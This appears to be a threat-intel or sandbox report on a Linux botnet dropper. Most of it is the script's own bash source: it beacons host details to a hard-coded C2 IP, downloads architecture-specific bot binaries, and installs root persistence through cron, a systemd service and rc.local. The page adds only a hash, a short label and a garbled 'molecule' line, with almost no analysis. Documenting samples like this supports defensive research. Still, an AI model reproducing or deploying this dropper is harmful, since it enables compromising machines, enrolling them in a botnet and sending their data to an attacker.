d96c6de7ab6abc18381dca34117d891f5826825e6f435e044534ce76120924c5
Botnet dropper with C2 and persistence
Multi-fetch multi-arch payload dropperShell silently downloads external-IP response
SHA-256d96c6de7ab6abc18381dca34117d891f5826825e6f435e044534ce76120924c5
MaleculeO₃(C₄SP₄)H₅(Cm₁₃CrF₅Os₈Po₃)
Evidence
1#!/bin/bash
2
3C2_SERVER="http://94.154.43.227:8080"
4INSTALL_DIR="/usr/lib/cirqueira"
5BINARY_NAME="bot"
6CHECKIN_URL="${C2_SERVER}/checkin"
7BOT_ID=$(hostname)-$(whoami)-$(date +%s | sha256sum | head -c 8)
8INTERVAL=30
9
10mkdir -p "$INSTALL_DIR"
11cd "$INSTALL_DIR"
12
13detect_arch() {
14 case $(uname -m) in
15 x86_64|amd64) echo "x86_64" ;;
16 i386|i486|i586|i686) echo "i686" ;;
17 armv7l|armv7a|armhf) echo "armv7l" ;;
18 armv6l) echo "armv6l" ;;
19 armv5l|arm) echo "armv5l" ;;
20 aarch64|arm64) echo "aarch64" ;;
21 mips) echo "mips" ;;
22 mipsel) echo "mipsel" ;;
23 powerpc|ppc) echo "powerpc" ;;
24 powerpc-440fp) echo "powerpc-440fp" ;;
25 sparc) echo "sparc" ;;
26 sh4) echo "sh4" ;;
27 m68k) echo "m68k" ;;
28 arc) echo "arc" ;;
29 *) echo "x86_64" ;;
30 esac
31}
32
33ARCH=$(detect_arch)
34
35check_in() {
36 local ip=$(curl -s --max-time 5 ifconfig.me 2>/dev/null || echo "unknown")
37 local info="{\"bot_id\":\"$BOT_ID\",\"hostname\":\"$(hostname)\",\"user\":\"$(whoami)\",\"arch\":\"$ARCH\",\"os\":\"$(uname -a)\",\"ip\":\"$ip\",\"install_dir\":\"$INSTALL_DIR\",\"timestamp\":\"$(date -Iseconds)\"}"
38
39 curl -s -X POST "$CHECKIN_URL" -H "Content-Type: application/json" -d "$info" --max-time 10 > /dev/null 2>&1 || \
40 wget -q --post-data="$info" --header="Content-Type: application/json" "$CHECKIN_URL" 2>/dev/null || \
41 busybox wget -q --post-data="$info" --header="Content-Type: application/json" "$CHECKIN_URL" 2>/dev/null || true
42}
43
44download_binary() {
45 local binary_url="${C2_SERVER}/bot.${ARCH}"
46 local output="${INSTALL_DIR}/${BINARY_NAME}"
47
48 if command -v wget &> /dev/null; then
⋯4 lines
71 cat > "$output" << 'EOF2'
72#!/bin/bash
73while true; do
74 curl -s -X POST http://94.154.43.227:8080/checkin -H "Content-Type: application/json" -d "{\"bot_id\":\"fallback-$(hostname)\",\"status\":\"alive\"}" > /dev/null 2>&1
75 sleep 30
76done
⋯5 lines
82install_persistence() {
83 local binary_path="${INSTALL_DIR}/${BINARY_NAME}"
84 local script_path=$(realpath "$0")
85
86 if command -v crontab &> /dev/null; then
87 crontab -l 2>/dev/null | grep -v "cirqueira" | grep -v "$binary_path" | crontab - 2>/dev/null
88 (crontab -l 2>/dev/null; echo "* * * * * $binary_path >/dev/null 2>&1") | crontab - 2>/dev/null
89 (crontab -l 2>/dev/null; echo "*/5 * * * * $script_path >/dev/null 2>&1") | crontab - 2>/dev/null
90 fi
91
92 if [ -d "/etc/systemd/system" ]; then
93 cat > "/etc/systemd/system/cirqueira.service" << 'EOF3'
94[Unit]
95Description=Cirqueira Bot
96After=network.target
97
98[Service]
99Type=simple
100ExecStart=/usr/lib/cirqueira/bot
101Restart=always
102RestartSec=5
103User=root
104
105[Install]
106WantedBy=multi-user.target
107EOF3
108 systemctl daemon-reload 2>/dev/null
109 systemctl enable cirqueira.service 2>/dev/null
110 systemctl start cirqueira.service 2>/dev/null
111 fi
112
113 if [ -f "/etc/rc.local" ]; then
114 sed -i "s/exit 0//" /etc/rc.local 2>/dev/null
125:42… $rc" 2>/dev/null; then
126 echo "$binary_path &" >> "$rc" 2>/dev/null
127 fi
128 fi
⋯9 lines